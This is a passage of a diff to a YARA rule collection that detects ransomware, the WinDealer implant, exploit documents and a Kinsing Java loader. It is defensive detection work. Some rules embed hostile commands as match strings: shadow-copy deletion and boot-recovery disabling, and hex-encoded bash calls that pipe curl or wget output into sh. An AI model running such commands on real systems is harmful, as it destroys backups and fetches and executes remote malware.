4 of ( $olds* ) and 10 of ( $debug* ) and 2 of ( $op* ) + uint16( 0 ) == 0x5a4d and filesize > 100KB and 10 of ( $s* ) } -rule ARKBIRD_SOLG_Ran_Regretlocker_Oct_2020_1 : FILE +rule ARKBIRD_SOLG_MAL_Windealer_Oct_2021_2 : FILE { meta: - description = "Detect RegretLocker ransomware" + description = "Detect modules from WinDealer implant" author = "Arkbird_SOLG" - id = "a8d58402-15e2-5d20-8d33-2e7a3f8973fd" - date = "2020-11-04" - modified = "2020-11-04" - reference = "https://twitter.com/VK_Intel/status/1323693700371914753" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-11-04/RegretLocker/Ran_RegretLocker_Oct_2020_1.yar#L1-L24" + id = "3cca1fa1-2651-5a93-bef1-d32a7b5be4c9" + date = "2021-10-30" + modified = "2021-10-31" + reference = "https://blogs.jpcert.or.jp/en/2021/10/windealer.html" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-30/WinDealer/MAL_WinDealer_Oct_2021_2.yara#L1-L19" license_url = "N/A" - logic_hash = "2c63bdcee6f2a9025d3a1f73f3a38ec58da103752b88bd3a6bf79d85d8f92e4d" + logic_hash = "c2fb5697dcdb34e0fb3e2dbd2df05748eddc2796c253e90503372eb73c475fab" score = 75 quality = 75 tags = "FILE" - hash1 = "a188e147ba147455ce5e3a6eb8ac1a46bdd58588de7af53d4ad542c6986491f4" + hash1 = "0c365d9730a10f1a3680d24214682f79f88aa2a2a602d3d80ef4c1712210ab07" + hash2 = "2eef273af0c768b514db6159d7772054d27a6fa8bc3d862df74de75741dbfb9c" + tlp = "white" + adversary = "LuoYu" strings: - $seq1 = { b8 05 dd 44 00 e8 07 7d 00 00 81 ec b0 06 00 00 53 56 33 db c7 45 cc 07 00 00 00 33 c0 89 5d c8 57 66 89 45 b8 40 c7 85 7c ff ff ff 02 00 00 00 c7 45 e0 ec 4a 98 ec 8d 75 e0 c7 45 e4 f9 a0 e9 47 8d 7d 80 c7 45 e8 90 1f 71 41 c7 45 ec 5a 66 34 5b 89 45 90 89 45 b0 89 45 b4 8d 45 d0 50 a5 8d 45 b0 50 53 68 00 00 3f 00 ff 75 0c a5 8d 85 7c ff ff ff 50 89 5d fc a5 a5 e8 76 50 00 00 85 c0 74 32 ff 15 74 00 45 00 50 68 88 1b 45 00 e8 ab de ff ff 8b 75 08 8d 45 b8 59 59 88 5d f0 8b ce ff 75 f0 89 5e 10 50 89 5e 14 e8 bb 50 ff ff e9 cb 01 00 00 53 8d 45 90 50 53 6a 04 53 ff 75 d0 e8 35 50 00 00 85 c0 74 08 50 68 bc 1b 45 00 eb bd 33 c0 8d bd 4c fb ff ff b9 82 00 00 00 be 04 01 00 00 f3 ab 8d 85 4c fb ff ff 89 75 d4 50 8d 45 d4 83 cb ff 50 ff 75 d0 e8 02 50 00 00 83 65 e8 00 8d 4d d8 33 c0 6a 07 5f 66 89 45 d8 8d 85 4c fb ff ff 50 89 7d ec e8 c6 6d ff ff 6a ff 68 f4 1b 45 00 8d 4d d8 c6 45 fc 01 e8 fd e8 ff ff 83 f8 ff 74 38 83 65 a8 00 33 c9 6a ff 50 8d 45 d8 66 89 4d 98 50 8d 4d 98 89 7d ac e8 3d df ff ff 83 7d ac 08 8d 45 98 0f 43 45 98 50 e8 bc 58 02 00 59 8d 4d 98 8b d8 e8 dd 69 ff ff 56 8d 85 54 fd ff ff 50 ff 15 f0 00 45 00 8b f8 8d 85 54 fd ff ff 50 8d 4d d8 e8 57 6d ff ff 8b 4d ec 8d 45 d8 8b 55 d8 83 f9 08 8b 75 e8 0f 43 c2 66 83 7c 70 fe 5c 75 16 83 f9 08 8d 45 d8 0f 43 c2 33 c9 66 89 4c 70 fe 8b 4d ec 8b 55 d8 83 f9 08 8d 45 d8 0f 43 c2 33 c9 51 51 6a 03 51 6a 03 51 50 ff 15 dc 00 45 00 8b f0 83 fe ff 74 7e 33 c9 8d 45 d4 51 50 68 04 01 00 00 8d 85 5c ff ff ff 50 51 51 68 00 00 56 00 56 ff 15 84 01 45 00 39 9d 64 ff ff ff 75 2c 8d 45 d4 50 68 04 01 00 00 8d 85 44 f9 ff ff 50 8d 85 54 fd ff ff 50 ff 15 08 01 45 00 8d 85 44 f9 ff ff 50 8d 4d b8 e8 b1 6c ff ff 56 ff 15 a8 00 45 00 68 04 01 00 00 8d 85 54 fd ff ff 50 57 ff 15 f8 00 45 00 85 c0 0f 85 29 ff ff ff 57 ff 15 fc 00 45 00 8b 75 08 33 c0 88 45 f0 8b ce ff 75 f0 89 46 10 89 46 14 8d 45 b8 50 e8 f3 4e ff ff 8d 4d d8 e8 cb 68 ff ff 8d 4d b8 e8 c3 68 ff ff 8b 4d f4 8b c6 5f 5e 5b 64 89 0d 00 00 00 00 c9 } - $seq2 = { 89 7d e4 e8 d5 a9 ff ff c7 04 24 88 02 00 00 6a 40 ff 15 28 01 45 00 8b f0 c7 45 d4 88 02 00 00 8d 45 d4 89 75 e8 50 56 e8 78 1b 00 00 83 f8 6f 75 17 56 ff 15 2c 01 45 00 ff 75 d4 6a 40 ff 15 28 01 45 00 8b f0 89 45 e8 8d 45 d4 50 56 e8 52 1b 00 00 85 c0 0f 84 } - $com1 = "bcdedit.exe / set{ default } bootstatuspolicy ignoreallfailures" fullword ascii - $com2 = { 63 6d 64 2e 65 78 65 00 20 26 20 00 2f 43 20 70 69 6e 67 20 31 2e 31 2e 31 2e 31 20 2d 6e 20 31 20 2d 77 20 33 30 30 30 20 3e 20 4e 75 6c 20 26 20 44 65 6c 20 2f 66 20 2f 71 20 22 25 73 22 } - $com3 = "bcdedit.exe / set{ default } recoveryenabled No" fullword ascii - $com4 = "vssadmin.exe Delete Shadows / All / Quiet" fullword ascii - $com5 = "schtasks /Create /SC MINUTE /TN " fullword ascii - $com6 = "schtasks /Delete /TN " fullword ascii - $str1 = { 47 45 54 20 25 73 20 48 54 54 50 2f 31 2e 30 0d 0a 48 6f 73 74 3a 20 25 73 } - $str2 = { 50 4f 53 54 20 25 73 20 48 54 54 50 2f 31 2e 31 0d 0a 48 6f 73 74 3a 20 25 73 } - $str3 = "Content-Type: application/x-www-form-urlencoded" fullword ascii + $s1 = { 81 ec f0 03 00 00 53 55 8b d9 56 8d 44 24 0c 57 8d 4c 24 18 50 51 c7 44 24 18 f4 01 00 00 ff 15 0c [2] 10 85 c0 0f 85 ?? 01 00 00 68 [3] 10 } + $s2 = { 81 ec 24 03 00 00 53 56 8d 44 24 18 57 50 68 03 01 00 00 6a 00 68 [2] 03 10 68 01 00 00 80 c7 44 24 20 00 00 00 00 ff 15 10 [2] 10 85 c0 0f 85 ?? 01 00 00 8d 4c 24 0c 8d 54 24 20 51 52 8b 1d 00 [2] 10 50 68 3f 01 0f 00 50 50 50 8b 44 24 38 68 [2] 03 10 50 ff d3 85 c0 0f 85 ?? 01 00 00 8d 4c 24 0c 8d 54 24 10 51 52 50 68 3f 01 0f 00 50 50 50 8b 44 24 3c 68 [2] 03 10 50 ff d3 85 c0 0f 85 ?? 01 00 00 bf [2] 03 10 83 c9 ff f2 ae f7 d1 2b f9 8d ?? 24 } + $s3 = "%s\\%s\\V5_History.dat" wide + $s4 = { 8b 8c 24 2c 02 00 00 8b 94 24 28 02 00 00 55 57 51 52 8d 44 24 24 53 50 89 74 24 2c e8 05 fb ff ff b9 41 00 00 00 33 c0 8d bc 24 34 01 00 00 83 c4 18 f3 ab 8d 8c 24 1c 01 00 00 51 68 04 01 00 00 ff 15 [2] 03 10 b9 41 00 00 00 33 c0 8d 7c 24 18 50 f3 ab [3] 01 } + $s5 = { 56 6a 10 e8 [3] 00 8b f0 85 f6 74 3a 8b 4c 24 0c 8d 46 04 85 c9 c7 06 [3] 10 c7 00 00 00 00 00 50 74 11 8b 44 24 0c 50 e8 [3] 00 89 46 08 8b c6 5e c3 8b 4c 24 0c 51 e8 [3] 00 89 46 08 8b c6 5e c3 33 } condition: - uint16( 0 ) == 0x5a4d and filesize > 200KB and all of ( $seq* ) and 4 of ( $com* ) and 2 of ( $str* ) + uint16( 0 ) == 0x5A4D and filesize > 80KB and 4 of ( $s* ) } -rule ARKBIRD_SOLG_RAN_Biglock_Jun_2021_1 : FILE +rule ARKBIRD_SOLG_MAL_Windealer_Oct_2021_1 : FILE { meta: - description = "Detect BigLock ransomware" + description = "Detect WinDealer implant" author = "Arkbird_SOLG" - id = "6a3fbb70-034d-5932-8c7f-de8d1b3df25c" - date = "2021-06-05" - modified = "2021-06-05" - reference = "https://twitter.com/fbgwls245/status/1400971422336311297" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-06-05/BigLock/RAN_BigLock_Jun_2021_1.yara#L1-L18" + id = "7ffece8a-b56a-5893-a135-3001c0327f66" + date = "2021-10-30" + modified = "2021-10-31" + reference = "https://blogs.jpcert.or.jp/en/2021/10/windealer.html" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-10-30/WinDealer/MAL_WinDealer_Oct_2021_1.yara#L1-L19" license_url = "N/A" - logic_hash = "f8407f39c4acef3546f8ddc22a04fb0534c5e1fa08d552654d9b9ebdf48fed94" - score = 50 - quality = 75 + logic_hash = "b6211274a0ffa55723d3c34763540278197507b4bd4b853249e16501a3aa5acb" + score = 75 + quality = 71 tags = "FILE" - hash1 = "877c612cf42d85b943010437599b828383ecdf02a17e2b017367db34637e5463" - level = "Experimental" - tlp = "White" - adversary = "-" + hash1 = "1e9fc7f32bd5522dd0222932eb9f1d8bd0a2e132c7b46cfcc622ad97831e6128" + hash2 = "b9f526eea625eec1ddab25a0fc9bd847f37c9189750499c446471b7a52204d5a" + tlp = "white" + adversary = "LuoYu" strings: - $s1 = { 33 d2 33 c9 44 8d 42 07 ff 15 97 20 04 00 4c 89 64 24 60 48 c7 44 24 68 07 00 00 00 66 44 89 64 24 50 41 b8 3f 00 00 00 48 8d 15 7e de 04 00 48 8d 4c 24 50 e8 24 5b ff ff 48 83 7c 24 60 00 0f 84 a0 00 00 00 0f 57 c0 33 c0 0f 11 45 90 0f 11 45 a0 0f 11 45 b0 0f 11 45 c0 0f 11 45 d0 0f 11 45 e0 48 89 45 f0 0f 11 44 24 70 48 89 45 80 48 8d 54 24 50 48 83 7c 24 68 08 48 0f 43 54 24 50 48 8d 44 24 70 48 89 44 24 48 48 8d 45 90 48 89 44 24 40 4c 89 64 24 38 4c 89 64 24 30 c7 44 24 28 00 00 00 08 c7 44 24 20 01 00 00 00 45 33 c9 45 33 c0 33 c9 ff 15 fa 1b 04 00 85 c0 74 26 ba ff ff ff ff 48 8b 4c 24 70 ff 15 b6 1c 04 00 48 8b 4c 24 78 ff 15 9b 1d 04 00 48 8b 4c 24 70 ff 15 90 1d 04 00 48 8b 54 24 68 48 83 fa 08 72 37 48 8d 14 55 02 00 00 00 48 8b 4c 24 50 48 8b c1 48 } - $s2 = { e8 4e da 01 00 4c 89 64 24 60 48 c7 44 24 68 07 00 00 00 66 44 89 64 24 50 41 b8 43 00 00 00 48 8d 15 e5 dd 04 00 48 8d 4c 24 50 e8 0b 5a ff ff 48 83 7c 24 60 00 0f 84 a0 00 00 00 0f 57 c0 33 c0 0f 11 45 90 0f 11 45 a0 0f 11 45 b0 0f 11 45 c0 0f 11 45 d0 0f 11 45 e0 48 89 45 f0 0f 11 44 24 70 48 89 45 80 48 8d 54 24 50 48 83 7c 24 68 08 48 0f 43 54 24 50 48 8d 44 24 70 48 89 44 24 48 48 8d 45 90 48 89 44 24 40 4c 89 64 24 38 4c 89 64 24 30 c7 44 24 28 00 00 00 08 c7 44 24 20 01 00 00 00 45 33 c9 45 33 c0 33 c9 ff 15 e1 1a 04 00 85 c0 74 26 ba ff ff ff ff 48 8b 4c 24 70 ff 15 9d 1b 04 00 48 8b 4c 24 78 ff 15 82 1c 04 00 48 8b 4c 24 70 ff 15 77 1c 04 00 48 8b 54 24 68 48 83 fa 08 72 37 48 8d 14 55 02 00 00 00 48 8b 4c 24 50 48 8b c1 48 81 fa 00 10 00 } - $s3 = { 45 33 c0 48 2b d0 48 8d 4d c7 e8 ba cf ff ff 0f 10 45 c7 0f 11 45 07 0f 10 4d d7 0f 11 4d 17 4c 89 6d d7 48 c7 45 df 07 00 00 00 66 44 89 6d c7 41 b0 01 48 8d 55 07 e8 bd 0b 00 00 90 48 8b 55 1f 48 83 fa 08 72 37 48 8d 14 55 02 00 00 00 48 8b 4d 07 48 8b c1 48 81 fa 00 10 00 00 72 19 48 83 c2 27 48 8b 49 f8 48 2b c1 48 83 c0 f8 48 83 f8 1f 0f 87 f9 09 00 00 e8 34 b6 01 00 90 ba 08 01 00 00 e8 d1 39 ff ff 4c 8b c0 48 c7 45 d7 04 01 00 00 48 c7 45 df 07 01 00 00 41 0f b7 c5 49 8b f8 b9 04 01 00 00 66 f3 ab 66 45 89 a8 08 02 00 00 4c 89 45 c7 48 8d 55 c7 48 83 7d df 08 49 0f 43 d0 44 8b 45 d7 48 8d 0d 83 c7 04 00 ff 15 7d f8 03 00 8b d0 48 8b 45 d7 48 3b d0 77 19 48 8d 45 c7 48 83 7d df 08 48 0f 43 45 c7 48 89 55 d7 66 44 89 2c } - $s4 = { 48 8b c3 48 8b 4d b7 48 2b c1 48 83 f8 15 0f 82 7b 04 00 00 4c 8d 4d a7 48 83 7d bf 08 4c 0f 43 4d a7 48 c7 44 24 30 15 00 00 00 48 8d 05 69 c2 04 00 48 89 44 24 28 48 89 4c 24 20 48 8d 4d 07 e8 86 17 00 00 90 45 33 c0 48 8d 55 07 e8 89 05 00 00 90 4c 8b 45 1f 49 83 f8 08 72 0c 49 ff c0 48 8b 55 } + $s1 = { 8b ec 81 ec 64 03 00 00 53 56 33 db 6a 64 8d 45 9c 53 50 e8 [2] 00 00 be 00 01 00 00 8d 85 9c fc ff ff 56 53 50 e8 [2] 00 00 56 8d 85 9c fd ff ff 53 50 e8 [2] 00 00 56 8d 85 9c fe ff ff 53 50 e8 [2] 00 00 83 c4 30 8d 45 9c 6a 64 50 ff 15 [2] 41 00 8d 85 9c fe ff ff 50 8d 85 9c fd ff ff 50 8d 85 9c fc ff ff 50 ff 75 9c e8 [2] ff ff 83 c4 10 38 9d 9c fe ff ff 5e 5b 75 20 8d 85 9c fe ff ff 50 8d 85 9c fd ff ff 50 8d 85 9c fc ff ff 50 ff 75 9c e8 [2] ff ff 83 c4 10 8d 85 9c fe ff ff 50 8d 85 9c fd ff ff 50 8d 85 9c fc ff ff 50 68 [2] 41 00 ff 75 08 ff 15 [2] 41 00 83 c4 14 6a } + $s2 = { 8b ec b8 40 1c 00 00 e8 [2] 00 00 56 57 33 ff 68 [2] 41 00 89 7d f8 ff 15 [2] 41 00 8b f0 6a 32 8d 45 c0 57 50 e8 [2] 00 00 83 c4 10 3b f7 74 1c 6a 5c 56 ff 15 [2] 41 00 59 3b c7 59 74 0d 40 50 8d 45 c0 50 e8 [2] 00 00 59 59 be 00 04 00 00 8d 85 c0 f7 ff ff 56 57 50 89 75 fc e8 [2] 00 00 8d 45 fc 50 8d 85 c0 f7 ff ff 50 e8 fb fd ff ff 83 c4 14 39 7d fc 75 24 56 8d 85 c0 f7 ff ff 57 50 89 75 fc e8 [2] 00 00 8d 45 fc 50 8d 85 c0 f7 ff ff 50 e8 ?? fc ff ff 83 c4 14 56 8d 85 c0 fb ff ff 57 50 e8 [2] 00 00 8d 85 c0 fb ff ff 50 e8 [2] 00 00 8d 85 c0 fb ff ff 50 e8 [2] 00 00 83 c4 14 83 7d fc 0a 7e 3e 83 f8 0a 7e 6d 8d 45 c0 50 8d 85 c0 fb ff ff 50 8d 85 c0 f7 ff ff 50 8d 85 c0 e3 ff ff 68 [2] 41 00 50 ff 15 [2] 41 00 50 8d 85 c0 e3 ff ff 50 e8 4d fd ff ff 83 c4 1c 89 45 f8 eb 5c 83 f8 0a 7e 2f 8d 45 c0 50 8d 85 c0 fb ff ff 50 8d 85 c0 e3 ff ff 68 [2] 41 00 50 ff 15 [2] 41 00 50 8d 85 c0 e3 ff ff 50 e8 16 fd ff ff 83 c4 18 eb c7 6a 43 8d 45 f4 68 [2] 41 00 50 ff 15 [2] 41 00 83 c4 0c 8d 45 f8 57 57 57 57 50 57 8d 45 f4 57 50 ff 15 [2] 41 00 8b 45 f8 } + $s3 = { 53 59 53 54 45 4d 5c 43 75 72 72 65 6e 74 43 6f 6e 74 72 6f 6c 53 65 74 5c 43 6f 6e 74 72 6f 6c 5c 4e 65 74 77 6f 72 6b 5c 7b 34 44 33 36 45 39 37 32 2d 45 33 32 35 2d 31 31 43 45 2d 42 46 43 31 2d 30 38 30 30 32 42 45 31 30 33 31 38 7d 5c 25 73 5c 43 6f 6e 6e 65 63 74 69 6f 6e } + $s4 = { 6d 61 63 3a 20 25 30 32 58 3a 25 30 32 58 3a 25 30 32 58 3a 25 30 32 58 3a 25 30 32 58 3a 25 30 32 58 } + $s5 = { 8b d8 59 85 db 59 74 57 56 e8 [2] 00 00 03 d8 53 ff 15 [2] 41 00 6a 00 50 e8 [2] ff ff 6a 64 8d 45 9c 6a 00 50 e8 [2] 00 00 83 c4 1c 8d 45 9c 68 [2] 41 00 68 [2] 41 00 50 ff 15 [2] 41 00 66 8b 8f d2 07 00 00 51 8a 8f d0 07 00 00 51 50 8d 45 9c 50 e8 ?? f1 ff ff 83 c4 1c 5f 5e 33 c0 5b c9 c3 55 } condition: - uint16( 0 ) == 0x5a4d and filesize > 100KB and 3 of ( $s* ) + uint16( 0 ) == 0x5A4D and filesize > 80KB and 4 of ( $s* ) } rule ARKBIRD_SOLG_APT_Aridviper_Installer_Feb_2020_1 : FILE { @@ -160855,418 +160642,578 @@ rule ARKBIRD_SOLG_APT_Aridviper_Installer_Feb_2020_1 : FILE condition: uint16( 0 ) == 0x5a4d and filesize > 600KB and 3 of ( $s* ) and $seq_db and $seq_createdb and all of ( $OP_Files* ) } -rule ARKBIRD_SOLG_RAN_ALPHV_Dec_2021_1 : FILE +rule ARKBIRD_SOLG_Exp_CVE_2021_40444_Sep_2021_1 : FILE { meta: - description = "Detect AlphV ransomware (Nov and Dec 2021)" + description = "Detect the maldocs with a structure like used for CVE_2021_40444 exploit" author = "Arkbird_SOLG" - id = "5c758dc9-b1dc-58e0-b443-6f78e27ffefe" - date = "2021-12-09" - modified = "2021-12-18" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-12-09/RAN_ALPHV_Dec_2021_1.yara#L1-L21" + id = "acaba73d-f744-5d3f-9617-e976832f3577" + date = "2021-09-09" + modified = "2021-09-09" + reference = "https://github.com/StrangerealIntel/DailyIOC" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-09-09/Exp_CVE_2021_40444_Sep_2021_1.yara#L2-L20" license_url = "N/A" - logic_hash = "416ebea98f660dd9fad27c3be0c79e47bc69e08fe4be7db76a71462d2c5ada49" - score = 75 + logic_hash = "ba1b256c9caad3371d57e6ecbe54721038c819c7c081edf2443523109c25b184" + score = 50 quality = 75 tags = "FILE" - hash1 = "3d7cf20ca6476e14e0a026f9bdd8ff1f26995cdc5854c3adb41a6135ef11ba83" - hash2 = "7e363b5f1ba373782261713fa99e8bbc35ddda97e48799c4eb28f17989da8d8e" - hash3 = "cefea76dfdbb48cfe1a3db2c8df34e898e29bec9b2c13e79ef40655c637833ae" - hash4 = "731adcf2d7fb61a8335e23dbee2436249e5d5753977ec465754c6b699e9bf161" - tlp = "white" - adversary = "BlackCat" + reference1 = "-" + hash1 = "199b9e9a7533431731fbb08ff19d437de1de6533f3ebbffc1e13eeffaa4fd455" + hash2 = "3bddb2e1a85a9e06b9f9021ad301fdcde33e197225ae1676b8c6d0b416193ecf" + hash3 = "5b85dbe49b8bc1e65e01414a0508329dc41dc13c92c08a4f14c71e3044b06185" + hash4 = "938545f7bbe40738908a95da8cdeabb2a11ce2ca36b0f6a74deda9378d380a52" + tlp = "White" + level = "experimental" + adversary = "-" strings: - $s1 = { ff b4 24 [2] 00 00 6a 00 ff 35 ?? e1 ?? 00 e8 [3] 00 8d 8c 24 [2] 00 00 ba [3] 00 68 c0 1f 00 00 e8 [3] ff 83 c4 04 ?? bc 24 [2] 00 00 } - $s2 = { 85 f6 74 47 8b 3d ?? e1 ?? 00 85 ff 0f 85 81 00 00 00 eb 60 68 [3] 00 6a 00 6a 00 e8 [2] 04 00 85 c0 0f 84 99 01 00 00 89 c1 31 c0 f0 0f b1 0d ?? e1 ?? 00 0f 84 f0 fe ff ff 89 c6 51 e8 [2] 04 00 89 f1 e9 e1 fe ff ff 68 [3] 00 ff 35 ?? e1 ?? 00 e8 [2] 04 00 85 c0 0f 84 32 03 00 00 89 c6 a3 ?? e1 ?? 00 8b 3d ?? e1 ?? 00 85 ff 75 1f 68 [3] 00 ff 35 ?? e1 ?? 00 e8 [2] 04 00 85 c0 0f 84 09 03 00 00 89 c7 a3 ?? e1 ?? 00 89 74 24 18 e8 [2] 04 00 8b 35 ?? e1 ?? 00 89 44 24 14 85 f6 75 1f 68 [3] 00 ff 35 ?? e1 ?? 00 e8 [2] 04 00 85 c0 0f 84 b8 01 00 00 89 c6 a3 ?? e1 ?? 00 8d 44 24 70 c7 44 24 64 00 00 00 00 c7 44 24 60 00 00 00 00 68 0c 01 00 00 6a 00 50 e8 [2] 04 00 83 } - $s3 = { 8b 38 89 4d ec 89 55 ?? 74 34 a1 ?? e1 ?? 00 85 c0 75 0e e8 [3] 00 85 c0 74 14 a3 ?? e1 ?? 00 53 6a 00 50 e8 [3] 00 89 c6 85 c0 75 13 89 d9 ba 01 00 00 00 e8 [3] ff 0f 0b be 01 00 00 00 53 57 56 e8 [3] 00 83 c4 0c 8d 04 1e 8d 4d } - $s4 = { 83 c4 0c c7 45 ?? 00 00 00 00 c7 45 ?? 02 00 00 89 89 75 ?? 8d 45 ?? c7 45 ?? 00 00 00 00 c7 45 ?? 00 00 00 00 6a 10 50 57 e8 [3] 00 83 f8 ff 0f 84 ?? 02 00 00 f6 45 9c ff } + $x1 = { 2f 5f 72 65 6c 73 2f 64 6f 63 75 6d 65 6e 74 2e 78 6d 6c 2e 72 65 6c 73 55 54 09 00 03 [3] 61 [3] 61 75 78 0b 00 01 04 00 00 00 00 04 00 00 00 00 ?? 94 ?? 4e c2 [3] ef 4d 7c 87 } + $x2 = { 77 6d 66 55 54 09 00 03 00 a6 ce 12 00 a6 ce 12 75 78 0b 00 01 04 00 00 00 00 04 00 00 00 00 bb 7e f6 d8 2c 06 38 48 00 93 85 e1 8c 0c 9c 0c 0c cc 52 60 1e 2b 98 64 01 62 66 46 0e 30 8f 9b 09 26 ce 03 66 31 83 55 00 00 50 4b 03 04 ?? 00 00 00 ?? 00 [10] 00 00 [2] 00 00 ?? 00 1c 00 } condition: - uint16( 0 ) == 0x5A4D and filesize > 300KB and all of ( $s* ) + uint16( 0 ) == 0x4B50 and filesize > 5KB and all of ( $x* ) } -rule ARKBIRD_SOLG_EXP_CVE_2021_41379_Nov_2021_2 : CVE_2021_41379 FILE +rule ARKBIRD_SOLG_Loader_JAVA_Kinsing_Aug_2020_Variant_A_1 : FILE { meta: - description = "Detect exploit tool using CVE-2021-41379 (variant 2)" + description = "Detect Kinsing Variant A" author = "Arkbird_SOLG" - id = "29fe9a9c-5180-55c8-882b-ad18981dc011" - date = "2021-11-26" - modified = "2021-11-29" - reference = "Internal Research" - source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2021-11-26/EXP_CVE_2021_41379_Nov_2021_2.yara#L1-L22" + id = "470fd4a6-faba-52b5-8ffa-5ac33fb607a0" + date = "2020-08-28" + modified = "2020-08-29" + reference = "https://twitter.com/JAMESWT_MHT/status/1299222198574632961" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-28/Loader_JAVA_Kinsing_Aug_2020_1.yar#L2-L30" license_url = "N/A" - logic_hash = "28b1d0d6c0ee14cd46b12763692f4f76020cd5ad74bb2b39b61f493b98486068" + logic_hash = "a9654b67ca6fb5de23d385707f01196d6d1c85e527d2bdbe312a2b2fcf998dc0" + score = 75 + quality = 67 + tags = "FILE" + hash1 = "22063638b9f05870e14110ccab9e07d744204360b184cfec0075f9fd27e08488" + hash2 = "248dd35d069d6b106b7528e41f95cd8cef0140fbb60808aa51c99ac117cf3318" + hash3 = "6ec5b8ea86d0af908182d6afc63c85a817e0612dba6e5e4b126b5639ab048b16" + hash4 = "b82d9e0ea2b6139438ce0b805fb03c3ae89ada9d4fdd7722562e6075f706048c" + + strings: + $ClassCode1 = { 4c 69 66 45 78 70 2e 6a 61 76 61 0c 00 3f 00 40 } + $ClassCode2 = "java/lang/StringBuilder" fullword ascii + $ClassCode3 = "java/net/URL" fullword ascii + $ClassCode4 = "java/net/URLConnection" fullword ascii + $ClassCode5 = { 6a 61 76 61 2f 6c 61 6e 67 2f 50 72 6f 63 65 73 73 42 75 69 6c 64 65 72 01 00 02 2e 2f } + $Com1 = { 52 75 6E 74 69 6D 65 2E 67 65 74 52 75 6E 74 69 6D 65 28 29 2E 65 78 65 63 28 6E 65 77 20 53 74 72 69 6E 67 5B 5D 20 7B 20 22 2F 62 69 6E 2F 62 61 73 68 22 2C 20 22 2D 63 22 2C 20 22 63 75 72 6C 20 22 20 2B 20 73 20 2B 20 22 7C 73 68 22 20 7D } + $Com2 = { 52 75 6E 74 69 6D 65 2E 67 65 74 52 75 6E 74 69 6D 65 28 29 2E 65 78 65 63 28 6E 65 77 20 53 74 72 69 6E 67 5B 5D 20 7B 20 22 2F 62 69 6E 2F 62 61 73 68 22 2C 20 22 2D 63 22 2C 20 22 77 67 65 74 20 2D 71 20 2D 4F 20 2D 20 22 20 2B 20 73 20 2B 20 22 7C 73 68 22 20 7D } + $Com3 = "chmod +x " fullword ascii + $Com4 = { 53 4b 4c 01 00 02 6c 66 } + $s1 = "User-Agent" fullword ascii + $s2 = "kinsing" fullword ascii + $s3 = { 6f 73 2e 6e 61 6d 65 } + $s4 = "getAbsolutePath" fullword ascii + $s5 = { 6f 70 65 6e 43 6f 6e 6e 65 63 74 69 6f 6e } + + condition: + filesize < 1KB and 4 of ( $ClassCode* ) and 3 of ( $Com* ) and 3 of ( $s* ) +} +rule ARKBIRD_SOLG_Loader_JAVA_Kinsing_Aug_2020_Variant_B_1 : FILE +{ + meta: + description = "Detect Kinsing Variant B" + author = "Arkbird_SOLG" + id = "7e0f9826-806c-5801-aab5-d2a8dba4e206" + date = "2020-08-28" + modified = "2020-08-29" + reference = "https://twitter.com/JAMESWT_MHT/status/1299222198574632961" + source_url = "https://github.com/StrangerealIntel/DailyIOC/blob/a873ff1298c43705e9c67286f3014f4300dd04f7/2020-08-28/Loader_JAVA_Kinsing_Aug_2020_1.yar#L32-L52" + license_url = "N/A" + logic_hash = "5862d02b4e57024aa1c00b0a10ac9ee1a733890cf7d5b9ec7586f0506af113fc" score = 75 quality = 75 - tags = "CVE-2021-41379, FILE" - hash1 = "13fe508e7efb50378eb8e0225221283756bf482d51be7837f850ef2b7f3281f0" - hash2 = "402722d95d468ddef049e1079c882bb9a316841b9695a15783fc23bbd3b33aed" - hash3 = "d025564e6dc872cff32f2295e0b5a2d8e3a21fbef1957facb69a493fa8a995fb" - hash4 = "dc65cd6311fd764a89d0761932bef61a89fd979510bd9ff23cde8c001de316b8" - tlp = "white" - adversary = "-" + tags = "FILE" + hash1 = "e1471e8f9c1aa1457f819c0565a3444c53d3ec5fadf9f52ae988fde8e2d3a960" + hash2 = "e70ea87d00567d33e20ed8649ef532eda966a8b5b1e83ea19728528d991eaaa0" strings: - $s1 = { 4c 89 6c 24 38 44 89 6c 24 30 44 89 6c 24 28 44 89 6c 24 20 [1-2] 01 00 00 00 ?? 8b ?? 45 33 c0 ba 03 00 08 00 48 8d 0d [3] 00 ff 15 [3] 00 48 8b d8 48 83 f8 ff 0f 84 ?? 01 00 00 33 d2 48 8b c8 ff 15 [3] 00 44 89 6d 10 48 8d 55 10 48 8b cb ff 15 [3] 00 48 8b cb ff 15 [3] 00 ff 15 [3] 00 44 8b c0 33 d2 b9 00 10 10 00 ff 15 [3] 00 48 8b d8 4c 89 } - $s2 = { 4c 89 6c 24 30 c7 44 24 28 80 00 00 04 c7 44 24 20 04 00 00 00 45 33 c9 [1-2] 01 00 00 00 ?? 8b ?? ba 00 00 01 80 48 8d 4d 20 ff 15 [3] 00 48 89 05 [3] 00 44 89 6d 14 48 8d 45 14 48 89 44 24 28 44 89 6c 24 20 45 33 c9 4c 8d 05 [2] ff ff 33 d2 33 c9 ff 15 [3] 00 48 8b d8 ?? 8b ?? ba 04 01 00 00 49 8d ?? 10 02 00 00 [4] 00 } - $s3 = { 40 53 48 81 ec 30 08 00 00 48 8b 05 [3] 00 48 33 c4 48 89 84 24 20 08 00 00 0f 10 05 [3] 00 48 8b d9 33 d2 0f 10 0d [3] 00 48 8d 4c 24 50 41 b8 d0 07 00 00 0f 29 44 24 20 0f 10 05 [3] 00 0f 29 4c 24 30 0f 29 44 24 40 e8 [2] 00 00 4c 8b 0b 48 8d 44 24 20 41 b8 00 04 00 00 41 8b c8 66 83 38 00 74 0a 48 83 c0 02 48 83 e9 01 75 f0 45 33 d2 49 8b c0 48 2b c1 48 85 c9 49 0f 44 c2 74 47 4c 2b c0 48 8d 44 44 20 74 2e b9 fe ff ff 7f 4c 2b c8 0f 